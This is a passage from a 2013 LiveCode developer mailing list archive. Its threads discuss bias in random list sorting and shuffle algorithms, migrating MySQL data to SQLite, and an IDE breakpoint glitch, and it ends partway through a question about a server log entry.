a rule dependency is deleted. > > Cheers > > -- > M E R Goulding > Software development services > > mergExt - There's an external for that! From dave.cragg at lacscentre.co.uk Thu May 23 18:21:13 2013 From: dave.cragg at lacscentre.co.uk (Dave Cragg) Date: Thu, 23 May 2013 23:21:13 +0100 Subject: randomly order a list In-Reply-To: <19FDC2A9-8CBF-4F48-B4DF-607F67B961C8@mac.com> References: <1ECA5963-0FCC-4E7B-9B58-AFCF4B57A441@icloud.com> <44DB3748-3519-4BD6-BD81-D65D9C6F6249@swcp.com> <17915E07-70D0-4FC6-96FC-17E814FFBA77@icloud.com> <5B14BAFA-4862-4FEC-80FF-D1258C7FA1B6@swcp.com> <19FDC2A9-8CBF-4F48-B4DF-607F67B961C8@mac.com> Message-ID: <04124E8B-4616-4077-AF30-16AE94C75068@lacscentre.co.uk> On 23 May 2013, at 21:11, Bj?rnke von Gierke wrote: > Yes, that is why I myself lean towards a feature request. For example the following line could tell the engine to make a unique random number for each of the supplied lines, to not have the problem with lines that come first getting a higher probability: > > sort theData by random(the number of lines in theData) of each If we're going for a feature request, I'd suggest a new function "shuffle". It's more descriptive than 'sort'. (We're trying to do the opposite of sorting.) I'm also uncomfortable with using arbitrary high numbers. (How random should it be?) When i've done this before, I've used the analogy of pulling names out of a hat. So a custom function like this (for shuffling lines) rather than use sort. function shuffleLines pSource put empty into tNew put the number of lines of pSource into tNum repeat with n = tNum down to 1 put random(n) into tRand put line tRand of pSource & cr after tNew delete line tRand of pSource end repeat return line 1 to -1 of tNew end shuffleLines Probably a little slow for large lists, but for things like shuffling answer choices in a test, it's good enough. Cheers Dave From dsc at swcp.com Thu May 23 18:31:59 2013 From: dsc at swcp.com (Dar Scott) Date: Thu, 23 May 2013 16:31:59 -0600 Subject: randomly order a list In-Reply-To: <519E7F6D.3040507@tweedly.net> References: <1ECA5963-0FCC-4E7B-9B58-AFCF4B57A441@icloud.com> <44DB3748-3519-4BD6-BD81-D65D9C6F6249@swcp.com> <17915E07-70D0-4FC6-96FC-17E814FFBA77@icloud.com> <519E7F6D.3040507@tweedly.net> Message-ID: I did a math. The probability of the first element not moving for a k item list named myList that is sorted by sort items of myList by random( the number of items of myList ) is p(k) where p(k) = sum with i from 1 to k of 1/k * ( i/k ) ^ (k-1) That power increasing with k tends to make numbers less than one smaller, but 1 stays the same, so p(k) approaches 1/k as k goes up since (k+1-i)/k is 1 for only i=1. This essentially looks at the probability of the first element not moving for each case of its assignment by random (the sum) and each of those depends on the rest of the assignments being the same or higher. That seems to work for 1, 2 and 3. (This hasn't been blessed by Geoff yet, so don't file this as True, yet.) Dar On May 23, 2013, at 2:43 PM, Alex Tweedly wrote: > Indeed you are correct. The maths is simple (even if not very obvious or intuitive). > > Sorting N lines by random(K) > > The likelihood of swapping any two lines *should* be 1/2, but (because the sort is stable, and because they are random *integers*), there is a 1/K chance of the two random values rounding to the same integer, and hence the actual probability is (1-1/K)/2 and the probability of not swapping is (1+1/K)/2 > > So in Geoff's example (N=2, K=2) gives probabilities of (1-0.5)/2 i.e. 1/4 and 3/4 > > Changing K to 3 would make a slight improvement - 1/3 and 2/3 > at K=4 we get 3/8 and 5/8, etc. > so by the time K=1000 > > Interestingly, the poor performance for low values of K is completely independent of N - it's just easier to see it for very small values of N. > > If you set N to 5, you want to get an even spread of results, each with a probability of 8.333/1000 > In fact with K=2 you get a range from 0 to 180/1000 > > So - random() works just fine - but using it correctly is harder than you might expect. I think it would be worth a feature request to make it much less likely that the innocent will fall into the many pitfalls. > > -- Alex. > > On 23/05/2013 20:30, Geoff Canyon wrote: >> There is, indeed much confusion here. I, of course, am correct ;-) >> >> I simplified the problem to a list of two items: >> >> 1,2 >> >> That way the sort command has exactly two outcomes. It either reverses the >> list, or it doesn't. The two outcomes should happen roughly 50% of the >> time. This script demonstrates that sorting by a large random number works, >> and sorting by a random number up to the number of items (2) does not. >> >> on mouseUp >> put "1,2" into originalList >> repeat 10000 >> put originalList into newList >> sort items of newList by random(2) >> if newList is originalList then add 1 to sameCount1 >> end repeat >> repeat 10000 >> put originalList into newList >> sort items of newList by random(999999999) >> if newList is originalList then add 1 to sameCount2 >> end repeat >> put "Sorting by random(2) kept the same order" && sameCount1 && "out of >> 10000 times." & cr & \ >> "Sorting by random(999999999) kept the same order" && sameCount2 >> && "out of 10000 times." >> end mouseUp >> >> For anyone interested in the math, as you would expect, the random numbers >> for the sort come out 2,1 roughly 1/4 of the time, so the result is that >> the list is in the same order roughly 75% of the time when using random(2). >> Here's one result I got: >> >> Sorting by random(2) kept the same order 7514 out of 10000 times. >> Sorting by random(999999999) kept the same order 5014 out of 10000 times. >> >> If anyone disagrees, come at me, bro. ;-) >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From pete at lcsql.com Thu May 23 18:35:10 2013 From: pete at lcsql.com (Peter Haworth) Date: Thu, 23 May 2013 15:35:10 -0700 Subject: Continuing a script after cloning a stack In-Reply-To: <519E92D8.7080602@hyperactivesw.com> References: <519E92D8.7080602@hyperactivesw.com> Message-ID: Hi Jacque, You've probably seen the follow up emails on this, but the noting after the clone command executes. I set a break point right at the clone command and after stepping into the clone statement, the debugger did not advance to the next statement and the script terminated. Pete lcSQL Software On Thu, May 23, 2013 at 3:06 PM, J. Landman Gay wrote: > On 5/23/13 2:12 PM, Peter Haworth wrote: > >> I have a script that clones a substack, followed by some other commands to >> rename the cloned substack and set it's mainstack. As soon as the clone >> command is issued, control passes to the cloned stack and the rest of my >> script is ignored. >> >> That's pretty much expected behavior >> > > Actually, it isn't, the handler should continue to completion. I think > something else must be interfering. You could try stepping through the > script to find out where it's derailing. > > -- > Jacqueline Landman Gay | jacque at hyperactivesw.com > HyperActive Software | http://www.hyperactivesw.com > > > ______________________________**_________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/**mailman/listinfo/use-livecode > From pete at lcsql.com Thu May 23 18:40:46 2013 From: pete at lcsql.com (Peter Haworth) Date: Thu, 23 May 2013 15:40:46 -0700 Subject: Data From MySQL to SQLite In-Reply-To: <519E8755.2010901@economy-x-talk.com> References: <24D1F94C-6300-4188-B284-69C2C9930E4F@byu.edu> <519E8755.2010901@economy-x-talk.com> Message-ID: I think it depends on the SQL implementation. I don't think SQLite allows it, at least not in the SQLite library included in LC which is many releases old. I wonder waht RunRev plan to do when SQLite 4 is released. Pete lcSQL Software On Thu, May 23, 2013 at 2:17 PM, Mark Schonewille < m.schonewille at economy-x-talk.com> wrote: > Hi Richard, > > Is it possible to execute multiple SQL lines with revExecuteSQL now? > > -- > Best regards, > > Mark Schonewille > > Economy-x-Talk Consulting and Software Engineering > Homepage: http://economy-x-talk.com > Twitter: http://twitter.com/**xtalkprogrammer > KvK: 50277553 > > Use Color Converter to convert CMYK, RGB, RAL, XYZ, H.Lab and other colour > spaces. http://www.color-converter.com > > Buy my new book "Programming LiveCode for the Real Beginner" > http://qery.us/3fi > > On 5/23/2013 23:06, Dr. Hawkins wrote: > >> Library??? assuming that the names/types are compatible, >> >> put revDataFromQuery(tab,vtab,**inDbno,"SELECT * FROM inTable) into >> theData >> >> put "BEGIN TRANSACTION;" & cr into dcmd >> >> set the itemDel to vtab >> repeat for each item theLin in theData >> put "INSERT INTO outTable VALUES( " & theLin & ");" & cr after dcmd >> end repeat >> put "COMMIT;" & cr after dcmd >> >> revExecuteSql outDb, dcmd >> >> >> You could also simply insert the values at each step of the loop, but >> that's time consuming if you have a remote db. >> -- >> Dr. Richard E. Hawkins, Esq. >> (702) 508-8462 >> >> > > ______________________________**_________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/**mailman/listinfo/use-livecode > From dsc at swcp.com Thu May 23 18:51:51 2013 From: dsc at swcp.com (Dar Scott) Date: Thu, 23 May 2013 16:51:51 -0600 Subject: randomly order a list In-Reply-To: References: <1ECA5963-0FCC-4E7B-9B58-AFCF4B57A441@icloud.com> <44DB3748-3519-4BD6-BD81-D65D9C6F6249@swcp.com> <17915E07-70D0-4FC6-96FC-17E814FFBA77@icloud.com> <519E7F6D.3040507@tweedly.net> Message-ID: <08A24B77-8594-41D8-92BD-14CAC003D96B@swcp.com> I simplified the expression but didn't change the comment. It should include ...i/k is 1 for only i=k. On May 23, 2013, at 4:31 PM, Dar Scott wrote: > I did a math. > > The probability of the first element not moving for a k item list named myList that is sorted by > > sort items of myList by random( the number of items of myList ) > > is p(k) where > > p(k) = sum with i from 1 to k of 1/k * ( i/k ) ^ (k-1) > > That power increasing with k tends to make numbers less than one smaller, but 1 stays the same, so p(k) approaches 1/k as k goes up since (k+1-i)/k is 1 for only i=1. > > This essentially looks at the probability of the first element not moving for each case of its assignment by random (the sum) and each of those depends on the rest of the assignments being the same or higher. > > That seems to work for 1, 2 and 3. > > (This hasn't been blessed by Geoff yet, so don't file this as True, yet.) > > Dar > > > > > On May 23, 2013, at 2:43 PM, Alex Tweedly wrote: > >> Indeed you are correct. The maths is simple (even if not very obvious or intuitive). >> >> Sorting N lines by random(K) >> >> The likelihood of swapping any two lines *should* be 1/2, but (because the sort is stable, and because they are random *integers*), there is a 1/K chance of the two random values rounding to the same integer, and hence the actual probability is (1-1/K)/2 and the probability of not swapping is (1+1/K)/2 >> >> So in Geoff's example (N=2, K=2) gives probabilities of (1-0.5)/2 i.e. 1/4 and 3/4 >> >> Changing K to 3 would make a slight improvement - 1/3 and 2/3 >> at K=4 we get 3/8 and 5/8, etc. >> so by the time K=1000 >> >> Interestingly, the poor performance for low values of K is completely independent of N - it's just easier to see it for very small values of N. >> >> If you set N to 5, you want to get an even spread of results, each with a probability of 8.333/1000 >> In fact with K=2 you get a range from 0 to 180/1000 >> >> So - random() works just fine - but using it correctly is harder than you might expect. I think it would be worth a feature request to make it much less likely that the innocent will fall into the many pitfalls. >> >> -- Alex. >> >> On 23/05/2013 20:30, Geoff Canyon wrote: >>> There is, indeed much confusion here. I, of course, am correct ;-) >>> >>> I simplified the problem to a list of two items: >>> >>> 1,2 >>> >>> That way the sort command has exactly two outcomes. It either reverses the >>> list, or it doesn't. The two outcomes should happen roughly 50% of the >>> time. This script demonstrates that sorting by a large random number works, >>> and sorting by a random number up to the number of items (2) does not. >>> >>> on mouseUp >>> put "1,2" into originalList >>> repeat 10000 >>> put originalList into newList >>> sort items of newList by random(2) >>> if newList is originalList then add 1 to sameCount1 >>> end repeat >>> repeat 10000 >>> put originalList into newList >>> sort items of newList by random(999999999) >>> if newList is originalList then add 1 to sameCount2 >>> end repeat >>> put "Sorting by random(2) kept the same order" && sameCount1 && "out of >>> 10000 times." & cr & \ >>> "Sorting by random(999999999) kept the same order" && sameCount2 >>> && "out of 10000 times." >>> end mouseUp >>> >>> For anyone interested in the math, as you would expect, the random numbers >>> for the sort come out 2,1 roughly 1/4 of the time, so the result is that >>> the list is in the same order roughly 75% of the time when using random(2). >>> Here's one result I got: >>> >>> Sorting by random(2) kept the same order 7514 out of 10000 times. >>> Sorting by random(999999999) kept the same order 5014 out of 10000 times. >>> >>> If anyone disagrees, come at me, bro. ;-) >>> _______________________________________________ >>> use-livecode mailing list >>> use-livecode at lists.runrev.com >>> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >>> http://lists.runrev.com/mailman/listinfo/use-livecode >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From pete at lcsql.com Thu May 23 19:33:47 2013 From: pete at lcsql.com (Peter Haworth) Date: Thu, 23 May 2013 16:33:47 -0700 Subject: Data From MySQL to SQLite In-Reply-To: <519A85AC-B898-40A8-8012-8A09F8629EF7@byu.edu> References: <24D1F94C-6300-4188-B284-69C2C9930E4F@byu.edu> <519A85AC-B898-40A8-8012-8A09F8629EF7@byu.edu> Message-ID: On Thu, May 23, 2013 at 2:31 PM, Devin Asay wrote: > Thanks, I'll give that a try. Any idea if this might work for records > containing binary data? I have one table with around 74 MB of data that I > need to transfer over. Hi Devin, Not knowing much about your data but allowing for as many gotchas as I can think like binary data and the need to delimit single/double quotes, etc, I think I'd be inclined to do this with revQueryDatabase to get a db cursor and using the "variableslist" format for revExecuteSQL, although it's easier to use an array that a load of variables. It will make the script a bit more complicated but I think you would run into less problems that way. You could have a generic handler that might look something like this (Untested) with ptable being the name of the table to be loaded and pselect being the select for the source table. command loadTable ptable,pselect local tID,tArray,tNumRecs,tColNames,tValues,tColCount put revQueryDatabase(mySQLDBID,pselect) into tID if tID is not an integer then answer error ...... exit loadTable end if put revNumberOfRecords(tID) into tNumRecs put revDatabaseColumnCount(tID) into tColCount put empty into tArray put "(" into tValues repeat with x=1 to tColCount put ":" & x & comma after tValues end repeat put ")" into char -1 of tValues revExecuteSQL SQLiteDBID,"BEGIN" put zero into tColNumber repeat tNumRecs times repeat tColCount times add 1 to tColNumber get revDatabaseColumnNumbered(tID, tColNumber,tArray[tColNumber]) end repeat revExecuteSQL SQLiteDBID,"INSERT INTO VALUES" && tValues,"tArray" revMoveToNextRecord(tID) end repeat revExecuteSQL SQLiteDBID,"COMMIT" end loadTable More error checking needed of course, along with a ROLLBACK if any db stuff fails. Pete lcSQL Software From alex at tweedly.net Thu May 23 19:41:49 2013 From: alex at tweedly.net (Alex Tweedly) Date: Fri, 24 May 2013 00:41:49 +0100 Subject: randomly order a list In-Reply-To: <04124E8B-4616-4077-AF30-16AE94C75068@lacscentre.co.uk> References: <1ECA5963-0FCC-4E7B-9B58-AFCF4B57A441@icloud.com> <44DB3748-3519-4BD6-BD81-D65D9C6F6249@swcp.com> <17915E07-70D0-4FC6-96FC-17E814FFBA77@icloud.com> <5B14BAFA-4862-4FEC-80FF-D1258C7FA1B6@swcp.com> <19FDC2A9-8CBF-4F48-B4DF-607F67B961C8@mac.com> <04124E8B-4616-4077-AF30-16AE94C75068@lacscentre.co.uk> Message-ID: <519EA93D.7080906@tweedly.net> Yes, that's a good shuffle for small data, but a bit slow for larger data sets. I dug out an old function I wrote a few years ago (and converted it to LC); this would be faster for large data sets (time taken grows linearly rather than by the square of the number of lines). local sA, sIndex -- filled with random shuffle index, returned one-by-one from fn calls function shuffleLines pSource put empty into tNew put the number of lines of pSource into tNum -- fill an array with 'self' numbers repeat with i = 1 to tNum put i into tA[i] end repeat repeat with n = tNum down to 1 put random(n) into tRand put tA[tRand] into sA[n] put tA[n] into tA[tRand] end repeat put 0 into sIndex sort lines of pSource by _shuffle() return pSource end shuffleLines function _shuffle add 1 to sIndex return sA[sIndex] end _shuffle -- Alex. On 23/05/2013 23:21, Dave Cragg wrote: > On 23 May 2013, at 21:11, Bj?rnke von Gierke wrote: > >> Yes, that is why I myself lean towards a feature request. For example the following line could tell the engine to make a unique random number for each of the supplied lines, to not have the problem with lines that come first getting a higher probability: >> >> sort theData by random(the number of lines in theData) of each > If we're going for a feature request, I'd suggest a new function "shuffle". It's more descriptive than 'sort'. (We're trying to do the opposite of sorting.) > > I'm also uncomfortable with using arbitrary high numbers. (How random should it be?) When i've done this before, I've used the analogy of pulling names out of a hat. So a custom function like this (for shuffling lines) rather than use sort. > > function shuffleLines pSource > put empty into tNew > put the number of lines of pSource into tNum > repeat with n = tNum down to 1 > put random(n) into tRand > put line tRand of pSource & cr after tNew > delete line tRand of pSource > end repeat > return line 1 to -1 of tNew > end shuffleLines > > Probably a little slow for large lists, but for things like shuffling answer choices in a test, it's good enough. > > Cheers > Dave > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From pete at lcsql.com Thu May 23 19:52:46 2013 From: pete at lcsql.com (Peter Haworth) Date: Thu, 23 May 2013 16:52:46 -0700 Subject: Data From MySQL to SQLite In-Reply-To: <519A85AC-B898-40A8-8012-8A09F8629EF7@byu.edu> References: <24D1F94C-6300-4188-B284-69C2C9930E4F@byu.edu> <519A85AC-B898-40A8-8012-8A09F8629EF7@byu.edu> Message-ID: On Thu, May 23, 2013 at 2:31 PM, Devin Asay wrote: > Thanks, I'll give that a try. Any idea if this might work for records > containing binary data? I have one table with around 74 MB of data that I > need to transfer over. Another thought. I think you have my SQLiteAdmin program. If you can export your data from the mySQL database in csv format or as INSERT statements, you can use the SQLiteAdmin Import feature to load it into your SQLite database - it's on the Utilites tab, just select the file name and "delimited" for a delimited file or "SQL" for a file of INSERT statements. Having said that, I don't know how it might fare with binary data. The tab/comma delimited import uses Alex Tweedly's excellent csv parser but I don't know if can handle binary data. The import using INSERT statements just passes the INSERTS to SQLite so it would depend on what it does with binary data, and what the tool you use to create the INSERTs from mySQL does with it. Pete lcSQL Software From pete at lcsql.com Thu May 23 20:13:46 2013 From: pete at lcsql.com (Peter Haworth) Date: Thu, 23 May 2013 17:13:46 -0700 Subject: Data From MySQL to SQLite In-Reply-To: References: <24D1F94C-6300-4188-B284-69C2C9930E4F@byu.edu> <519A85AC-B898-40A8-8012-8A09F8629EF7@byu.edu> Message-ID: On Thu, May 23, 2013 at 4:33 PM, Peter Haworth wrote: > put zero into tColNumber > repeat tNumRecs times > repeat tColCount times > add 1 to tColNumber > get revDatabaseColumnNumbered(tID, tColNumber,tArray[tColNumber]) > end repeat > revExecuteSQL SQLiteDBID,"INSERT INTO VALUES" && > tValues,"tArray" > revMoveToNextRecord(tID) > end repeat > revExecuteSQL SQLiteDBID,"COMMIT" > Sorry, the "put zero into tColNumber" line should come after the "repeat tNumRecs times" Pete lcSQL Software From skip at magicgate.com Thu May 23 20:51:32 2013 From: skip at magicgate.com (Magicgate Software - Skip Kimpel) Date: Thu, 23 May 2013 20:51:32 -0400 Subject: Data From MySQL to SQLite In-Reply-To: References: <24D1F94C-6300-4188-B284-69C2C9930E4F@byu.edu> <519A85AC-B898-40A8-8012-8A09F8629EF7@byu.edu> Message-ID: Is this a one time event or or does the data have to live in both locations and a constant synchronization happening? SKIP On Thu, May 23, 2013 at 8:13 PM, Peter Haworth wrote: > On Thu, May 23, 2013 at 4:33 PM, Peter Haworth wrote: > > > put zero into tColNumber > > repeat tNumRecs times > > repeat tColCount times > > add 1 to tColNumber > > get revDatabaseColumnNumbered(tID, tColNumber,tArray[tColNumber]) > > end repeat > > revExecuteSQL SQLiteDBID,"INSERT INTO VALUES" && > > tValues,"tArray" > > revMoveToNextRecord(tID) > > end repeat > > revExecuteSQL SQLiteDBID,"COMMIT" > > > > Sorry, the "put zero into tColNumber" line should come after the "repeat > tNumRecs times" > > Pete > lcSQL Software > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From jhj at jhj.com Thu May 23 20:56:11 2013 From: jhj at jhj.com (Jerry Jensen) Date: Thu, 23 May 2013 17:56:11 -0700 Subject: Random sort demonstration In-Reply-To: References: <776A823E-BA0A-4E1E-B0F5-386DD176FE8B@swcp.com> Message-ID: I disagree with Jerry here. Using random(20) for sorting would give a different order with "numeric" vs. without, all else being equal, but it would still be just as random. Just because most of the random(20) results start with the character "1" doesn't mean they aren't unique or that they are more likely. So using "numeric" is different but just as bad. A big number is still the best idea, if not so pretty. How about if random() with no parameter returned an integer between 1 and the maximum integer? It might be different on different platforms, but still the best that can be done. .Jerry On May 23, 2013, at 11:14 AM, Jerry Jensen wrote: > Thanks for pointing that out! I've got some checking to do of old code. > Imagine the weighting that would be caused by random(20)... > > .Jerry > > On May 23, 2013, at 9:37 AM, Robert Brenstein wrote: >> >> I wonder why nobody suggests adding "numeric" parameter to random sorts like above. After all, the sort column is a number but without that parameter is sorted as ascii text not numeric value. >> >> Robert > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From michael_livecode at nayyan.com Thu May 23 21:47:39 2013 From: michael_livecode at nayyan.com (Michael Mays) Date: Fri, 24 May 2013 09:47:39 +0800 Subject: Random sort demonstration In-Reply-To: <776A823E-BA0A-4E1E-B0F5-386DD176FE8B@swcp.com> References: <776A823E-BA0A-4E1E-B0F5-386DD176FE8B@swcp.com> Message-ID: <42E64B0D-93CD-4786-99EF-14B66693EA9E@nayyan.com> Note that the variable lineAssignments in the quoted code below is always empty when it is displayed in the field and is empty each time the function randomLog is entered. You can make lineAssignment global to both handlers and it will work. For a uniformly randomly shuffling function all outcomes should be equal. In other words all the possible outcomes: a,b,c a,c,b b,a,c c,b,a b,c,a c,a,b should all have equal chances of occurring. We can test our functions my letting them pick ten thousands item lists and then see if the occurrence of each list is equal. This is easy to test. Change the number of trail to 10000 and add these lines to the mouseUp handler put myVar into line cnt of fld 1 --new stuff start if myVar is "a,b,c" then add 1 to item 1 of my_sum if myVar is "a,c,b" then add 1 to item 2 of my_sum if myVar is "b,a,c" then add 1 to item 3 of my_sum if myVar is "c,a,b" then add 1 to item 4 of my_sum if myVar is "b,c,a" then add 1 to item 5 of my_sum if myVar is "c,b,a" then add 1 to item 6 of my_sum --new stuff end and these lines end repeat --new stuff start put return & my_sum into line cnt + 1 of fld 1 put return&sum(my_sum) after fld 1 end mouseUp --new stuff end This shows a really skewed non-uniform outcome for the sort by. 3783,1438,1467,1474,1459,379 10000 Whereas my shuffling is pretty uniform. 1671,1673,1728,1657,1612,1659 10000 What you want to be able to make is a random assortment of 1,2,3 1,3,2 2,1,3 3,1,2 3,2,1 2,3,1 to sort your items against. But you aren't. You are generating potentially 27 different sets: 1,1,1 ; 1,1,2 ; 1,1,3 ; 1,2,2 ; 1,2,3 ; 1,3,3 ; 1,3,2 ; 1,3,1 ; 1,2,1 {a,b,c ; a,b,c ; a,b,c ; a,b,c ; a,b,c ; a,b,c ; a,c,b ; a,c,b ; a,c,b} 2,2,2 ; 2,2,1 ; 2,2,3 ; 2,1,1 ; 2,1,3 ; 2,3,3 ; 2,3,1 ; 2,3,2 ; 2,1,2 {a,b,c ; c,a,b ; a,b,c ; b,c,a ; b,a,c ; a,b,c ; c,a,b ; a,c,b ; b,a,c} 3,3,3 ; 3,3,1 ; 3,3,1 ; 3,2,2 ; 3,2,1 ; 3,1,1 ; 3,1,2 ; 3,1,3; 3,2,3 {a,b,c ; c,a,b ; c,a,b ; b,c,a ; c,b,a ; b,c,a ; b,c,a ; b,a,c ; b,c,a} which counts out as a,b,c 10 [3700] a,c,b 4 [1480] b,a,c 3 [1100] c,b,a 1 [370] b,c,a 5 [1850] c,a,b 4 [1480] which looks similar to your results but is really different no less not a uniformly random distribution. I really don't understand why when the random function is in line with the sort command the same distribution is always returned but when the random function is called in a function in line with the sort command it is different. Michael On May 23, 2013, at 2:08 PM, Dar Scott wrote: > This script demonstrates what is going on with random sorts of short lists using this: > > sort items of myVar by random( the number of items of myVar) > > This is a button script on a stack with a wide field with a scrollbar. From michael_livecode at nayyan.com Thu May 23 22:21:06 2013 From: michael_livecode at nayyan.com (Michael Mays) Date: Fri, 24 May 2013 10:21:06 +0800 Subject: Random sort demonstration In-Reply-To: <42E64B0D-93CD-4786-99EF-14B66693EA9E@nayyan.com> References: <776A823E-BA0A-4E1E-B0F5-386DD176FE8B@swcp.com> <42E64B0D-93CD-4786-99EF-14B66693EA9E@nayyan.com> Message-ID: <3335BEBF-5C50-41BA-9426-DE3108E3E9A3@nayyan.com> Because my test script said sort this_item_list by random(something) instead of sort item this_item_list by random(something) D'oh, Michael On May 24, 2013, at 9:47 AM, Michael Mays wrote: > > I really don't understand why when the random function is in line with the sort command the same distribution is always returned but when the random function is called in a function in line with the sort command it is different. > > Michael > From tedennis at softwaredetails.com Fri May 24 00:34:09 2013 From: tedennis at softwaredetails.com (Terry Dennis) Date: Thu, 23 May 2013 21:34:09 -0700 Subject: Weird glitch in breakpoint behavior Message-ID: I was testing a 6.0.1 stack when "Step into next statement" after a manual breakpoint acted like a 'Continue" ... meaning it didn't stop until the end of the script. I was able to recreate the problem repeatedly, so I began to whittle down my script to find what caused the glitch. In so doing, I checked various preference settings to see what might have caused the weird glitch. I kept whittling away until there wasn't much left in my script, so I finally decided to start from scratch with an entirely new app. It happened again with a do-nothing script. Recipe: 1) Put the following simple script into a button's mouseUp script in a new app. 2) Set breakpoints manually on lines 2 and 4. 3) Click the button. It stops on line 2, as expected. 4) Click on Edit/Preferences in the LiveCode menu 5) The app runs to the hardcoded breakpoint on line 6 First of all, it shouldn't have run when I merely opened the preferences dialog. Secondly, it missed the manual breakpoint on line 4 OK, so like a good little developer, I tried the same script in a backleveled version (5.5.1) to see if recent LiveCode updates created the problem. That's the most likely scenario, right? Nope. I got the same results. Apparently this weird glitch has been around since today's pebbles were large boulders. Lots of testing later ... There were *some* instances of opening the preferences dialog that didn't cause the problem. And, selecting individual preference items didn't cause the problem. However, EVERY time I selected the "Updates" preference item, the script "Continue"d. Yeah, I know. The doctors says if it hurts, then don't do that. OK, so I won't open the Preferences dialog and test for "Updates" during debugging sessions. However ... This weird glitch *might* be related in some bizarre manner to prior (seemingly) random and unrecreatable weird glitches I have had with breakpoint executions. The good news (I think) is this time I was able to recreate and isolate the weird glitch. Well, I isolated *a* weird glitch. Whether it is related to my *original* weird glitch, I don't know. The original weird glitch with my app would sometimes (randomly?) get triggered by simply clicking on the "up arrow" in the Variables display of the IDE. Is a keystroke being passed through the hierarchy into the app when it shouldn't be? Unknown. The (random?) up arrow weird glitch happened only in 6.0.1, so it's possible that particular weird glitch occurred because of recent updates to LiveCode. In addition to the above weirdness, the same preferences weird glitch is recreatable in 6.0.1 by clicking on Tools/Project Browser. Am I more likely to open the Project Browser during debugging than I am likely to open the Preferences dialog? Ubetcha. Again, is this preferences/browser dialog weird glitch related to my original weird glitch? Heck if I know. It's just plain weird. Hopefully this exercise will help others who have experienced (seemingly) random weird glitches with breakpoints in the past. It's possible all those weird glitches could have a common thread, so fixing this *recreatable* weird glitch could solve all those other weird glitches at the same time. I suppose I could be the ONLY poor soul who has experienced weird glitches with breakpoints, but I doubt it. Did I mention it was a weird glitch? Simple Script: on mouseUp put empty into tGarbage1 -- once put empty into tGarbage2 -- twice put empty into tGarbage3 -- three times put empty into tGarbage4 -- a lady breakpoint end mouseUp TED From dunbarx at aol.com Fri May 24 01:09:48 2013 From: dunbarx at aol.com (dunbarx at aol.com) Date: Fri, 24 May 2013 01:09:48 -0400 (EDT) Subject: Weird glitch in breakpoint behavior In-Reply-To: References: Message-ID: <8D026540C4A37F1-1084-EB58@webmail-d145.sysops.aol.com> Hi.. I don't see this. I assume you meant "LiveCode/Preferences", not "Edit/Preferences"? Anyway, I can open the preferences stack while the script is stopped at line 2, dismiss the stack and find myself still at line 2. From there I can step or run the script. Nothing untoward. Craig Newman From peterwawood at gmail.com Fri May 24 01:47:38 2013 From: peterwawood at gmail.com (Peter W A Wood) Date: Fri, 24 May 2013 13:47:38 +0800 Subject: 1001 things to do with LiveCode In-Reply-To: <90B69A71-BF95-4688-968F-1FB4C64778A5@mindcrea.com> References: <3118B4E7-6905-4945-8FA1-01E7692D42A3@gmail.com> <90B69A71-BF95-4688-968F-1FB4C64778A5@mindcrea.com> Message-ID: <419B9416-8E32-49F5-AA4E-FA33886DDC5C@gmail.com> Christer On 24 May 2013, at 00:24, Christer Pyyhti? wrote: > Peter, keep up pushing people to tell about their applications! I will send out the odd reminder but I don't want to spam the lists. > It is extremely interesting list - I wonder why RR is not supporting / pushing your work here. RR have supported 1001 things to do with LiveCode. They kindly provided the art work for me. Understandably, they want 1001 things to do with LiveCode to be seen as a community initiative. I also think that it is best. Once the new LiveCode website has settled down, I'll request a link to 1001 things to do with LiveCode if there isn't one. > I hope to manage to publish a knowledge based decision making application soon to add on to your list. That sounds very interesting. I look forward to learning about it. If anybody else reading this message has any interesting that they've developed in LiveCode, I'd really appreciate being able to include it in 1001 things to do with LiveCode. Best regards Peter From jacque at hyperactivesw.com Fri May 24 01:59:09 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Fri, 24 May 2013 00:59:09 -0500 Subject: Weird glitch in breakpoint behavior In-Reply-To: <8D026540C4A37F1-1084-EB58@webmail-d145.sysops.aol.com> References: <8D026540C4A37F1-1084-EB58@webmail-d145.sysops.aol.com> Message-ID: <519F01AD.4000006@hyperactivesw.com> On 5/24/13 12:09 AM, dunbarx at aol.com wrote: > > > Hi.. I don't see this. I assume you meant "LiveCode/Preferences", not > "Edit/Preferences"? Anyway, I can open the preferences stack while > the script is stopped at line 2, dismiss the stack and find myself > still at line 2. From there I can step or run the script. Nothing > untoward. Edit/Preferences is how it is in Windows. The menus on Windows are just a group, so the problem could be related to changing the focus to another group, or to a stack like the Project Browser or property inspector. Setting editmenus to true on a Mac might reproduce it. On a Mac, no focus change would happen because, strictly speaking, the menus aren't part of the IDE exactly. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From th.douez at gmail.com Fri May 24 05:16:28 2013 From: th.douez at gmail.com (Thierry Douez) Date: Fri, 24 May 2013 11:16:28 +0200 Subject: [OT] server log entry? Message-ID: Hi, Can someone could help me to understand one of my server log? Here is the line: 193.107.17.36 ... "GET 